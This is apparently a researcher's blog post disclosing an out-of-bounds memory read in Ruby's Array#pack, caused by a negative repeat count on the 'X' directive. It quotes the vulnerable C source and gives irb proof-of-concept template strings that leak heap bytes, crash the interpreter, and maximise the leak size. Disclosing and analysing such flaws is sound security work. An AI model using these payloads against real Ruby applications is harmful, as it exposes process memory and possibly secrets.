Ruby Array Pack Bleed
Luke Jahnke28 December 2025

With the release of Ruby 4.0.0 on Christmas, I decided to revisit integer handling bugs within Ruby MRI, the canonical implementation of the Ruby programming language. This lead me to discover a vulnerability which allows reading memory out of bounds of the allocated string buffer. Although memory disclosure vulnerabilities have a serious impact, it is important to note that affected method is rarely used in real Ruby applications and very rarely would an attacker have control over the argument to the method call. The vulnerability affects Ruby 4.0.0 and prior, likely back as far as even Ruby 1.6.7 which was released in 2002. Follow the progress of the fix in PR #15763.

The vulnerability exists within the instance method pack of the Array class. The pack method accepts a template string argument, which it uses to determine how to convert the array's elements into a binary string. A template string is comprised of directives, where a directive is typically a single letter, such as "H" to indicate a hex string with high nibble first or "m" to indicate a base64 encoded string. The list of directives are inspired by Perl and the full list can be found in the Ruby Packed Data documentation. The directives may be followed by a repeat count which specifies how much a directive should consume, where H2 would consume two hex characters. It is this repeat count which can be unexpectedly made negative resulting in the vulnerability.

The code responsible for repeat count handling of Array#pack can be found inside ruby/pack.c and looks as follows:

static VALUE
pack_pack(rb_execution_context_t *ec, VALUE ary, VALUE fmt, VALUE buffer)
{
[...]
    long len, idx, plen;
[...]
    p = RSTRING_PTR(fmt);
[...]
        else if (ISDIGIT(*p)) {
[...]
            len = STRTOUL(p, (char**)&p, 10);

This code retrieves the repeat count and stores it in the len variable. While the STRTOUL macro expands to a call to ruby_strtoul, which returns an unsigned long, the len variable is itself a signed long. This mismatch of unsigned and signed means large unsigned values will be interpreted as negative values when stored in len.

Now with the ability to generate a negative repeat count, we must find a directive that does something useful with a negative repeat count. Fortunately the X directive exists which is documented to "back up a byte" and behaves as follows:

irb(main):001> ["414243"].pack("H6")
=> "ABC"

irb(main):002> ["414243"].pack("H6X")
=> "AB"

irb(main):003> ["414243"].pack("H6XX")
=> "A"

irb(main):004> ["414243"].pack("H6X2")
=> "A"

The implementation of the X directive is also found inside ruby/pack.c and looks as follows:

static VALUE
pack_pack(rb_execution_context_t *ec, VALUE ary, VALUE fmt, VALUE buffer)
{
[...]
        switch (type) {
[...]
          case 'X':   /* back up byte */
          shrink:
            plen = RSTRING_LEN(res);
            if (plen < len)
                rb_raise(rb_eArgError, "X outside of string");
            rb_str_set_len(res, plen - len);
            break;
[...]

What makes the X directive useful is that if we shrink our string by a negative amount we will unexpectedly grow the string instead.

irb(main):001> ["414243"].pack("H6X#{2**64}")
(irb):1:in 'Array#pack': pack length too big (RangeError)
        from (irb):1:in '<main>'
        from /usr/local/lib/ruby/gems/4.0.0/gems/irb-1.16.0/exe/irb:9:in '<top (required)>'
        from /usr/local/lib/ruby/4.0.0/rubygems.rb:303:in 'Kernel#load'
        from /usr/local/lib/ruby/4.0.0/rubygems.rb:303:in 'Gem.activate_and_load_bin_path'
        from /usr/local/bin/irb:25:in '<main>'

irb(main):002> ["414243"].pack("H6X#{2**64 - 1}")
=> "ABC\x00"

irb(main):003> ["414243"].pack("H6X#{2**64 - 2}")
=> "ABC\x00\x00"

[...]

irb(main):012> ["414243"].pack("H6X#{2**64 - 11}")
=> "ABC\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

irb(main):013> ["414243"].pack("H6X#{2**64 - 12}")
=> "ABC\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

irb(main):014> ["414243"].pack("H6X#{2**64 - 13}")
<internal:pack>:8: [BUG] probable buffer overflow: 16 for 15
ruby 4.0.0 (2025-12-25 revision 553f1675f3) +PRISM [x86_64-linux]

-- Control frame information -----------------------------------------------
c:0022 p:0003 s:0123 e:000122 l:y b:0001 METHOD <internal:pack>:8
c:0021 p:0024 s:0116 e:000115 l:n b:---- EVAL   (irb):14 [FINISH]
c:0020 p:---- s:0113 e:000112 l:y b:---- CFUNC  :eval

[...]

/usr/local/lib/libruby.so.4.0(rb_str_resize) /usr/src/ruby/string.c:3443
/usr/local/lib/libruby.so.4.0(pack_pack+0x9be) [0x7f6e215ca4be] /usr/src/ruby/pack.c:639

[...]

<internal:pack>:8: [BUG] Aborted at 0x0000000000000001
ruby 4.0.0 (2025-12-25 revision 553f1675f3) +PRISM [x86_64-linux]

Crashed while printing bug report

We cannot leak an arbitrary amount of memory due to the guard condition we encounter within rb_str_set_len inside ruby/string.c which looks as follows:

void    
rb_str_set_len(VALUE str, long len)
{
[...]
    if (len > (capa = (long)str_capacity(str, termlen)) || len < 0) {
        rb_bug("probable buffer overflow: %ld for %ld", len, capa);
    }

By trying strings of different length, the capacity was found to be rounded to the next power of two. This means with control of the string inside the array that is being packed, we can select a string length equal to a power of two to leak the most while avoiding triggering the guard condition.

irb(main):001> ["A"*512].pack("a512X#{2**64-511}")
=> "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAA\x00\x0E\xD8D\x11\x7F\x00\x00`\x0E\xD8D\x11\x7F\x00\
x00\xD8\x9F\xC9D\x11\x7F\x00\x00p\x11\xCAD\x11\x7F\x00\x00p\x17\xC9D\x1
1\x7F\x00\x008\x18\xC9D\x11\x7F\x00\x00x\x0E\xBBD\x11\x7F\x00\x00(\x0E\
xBBD\x11\x7F\x00\x00\x80\xD3\xC5D\x11\x7F\x00\x00\xF8\xD3\xC5D\x11\x7F\
x00\x00\x98\xD4\xC5D\x11\x7F\x00\x00\xF8\xA1\xEDD\x11\x7F\x00\x00(\xA4\
xEDD\x11\x7F\x00\x00X\xB0\xEDD\x11\x7F\x00\x00\x98\xB1\xEDD\x11\x7F\x00
\x00P\xC7\xEDD\x11\x7F\x00\x00`\xB2\xEDD\x11\x7F\x00\x00\x80\x97\xEDD\x
11\x7F\x00\x00\x18\xC8\xEDD\x11\x7F\x00\x00\bX\x9BD\x11\x7F\x00\x00\b\x
D5\xAAD\x11\x7F\x00\x00\xE8\xD6\xAAD\x11\x7F\x00\x00\x80\xD5\xAAD\x11\x
7F\x00\x00\x90\xD4\xAAD\x11\x7F\x00\x008\xD7\xAAD\x11\x7F\x00\x00\xD0\x
BE\xE4D\x11\x7F\x00\x00\xD8\xCF\xE4D\x11\x7F\x00\x00\xC8\xD0\xE4D\x11\x
7F\x00\x000\xD2\xE4D\x11\x7F\x00\x00\b\xD2\xE4D\x11\x7F\x00\x00\b\xE6\x
E4D\x11\x7F\x00\x00\x18\xD1\xE4D\x11\x7F\x00\x00\xE0\xD1\xE4D\x11\x7F\x
00\x00PN\xCBD\x11\x7F\x00\x00\x18O\xCBD\x11\x7F\x00\x00\xA0N\xCBD\x11\x
7F\x00\x00hO\xCBD\x11\x7F\x00\x00\xA0S\xCBD\x11\x7F\x00\x00\xB0R\xCBD\x
11\x7F\x00\x00xS\xCBD\x11\x7F\x00\x008R\xCBD\x11\x7F\x00\x00\x18T\xCBD\
x11\x7F\x00\x00\xD8\xE0\xECD\x11\x7F\x00\x00`\xCC\xECD\x11\x7F\x00\x00\
xB0\x00\xE6D\x11\x7F\x00\x00\x88r\xECD\x11\x7F\x00\x00\xF0\x16\xDBD\x11
\x7F\x00\x00P\x16\xDBD\x11\x7F\x00\x00\xC0\x96\xDBD\x11\x7F\x00\x00@\x9
4\xDBD\x11\x7F\x00\x00\xE0\xF3\xDBD\x11\x7F\x00\x00P\xF2\xDBD\x11\x7F\x
00\x00\xA8W\xECD\x11\x7F\x00\x00@W\xE6D\x11\x7F\x00\x00\xF0V\xE6D\x11\x
7F\x00\x00\xC8\xC8\xD8D\x11\x7F\x00\x000\xD9\xD8D\x11\x7F\x00\x00P\v\xE
6D\x11\x7F\x00\x00\xC8V\xE6D\x11\x7F\x00\x00\xA8\x03\xE6D\x11\x7F\x00\x
00\xE8J\xE6D\x11\x7F\x00\x00H\xCB\xD8D\x11\x7F\x00\x00X\xD9\xD8D\x11\x7
F\x00\x00\xD8^\xECD\x11\x7F\x00"
« Back to homepage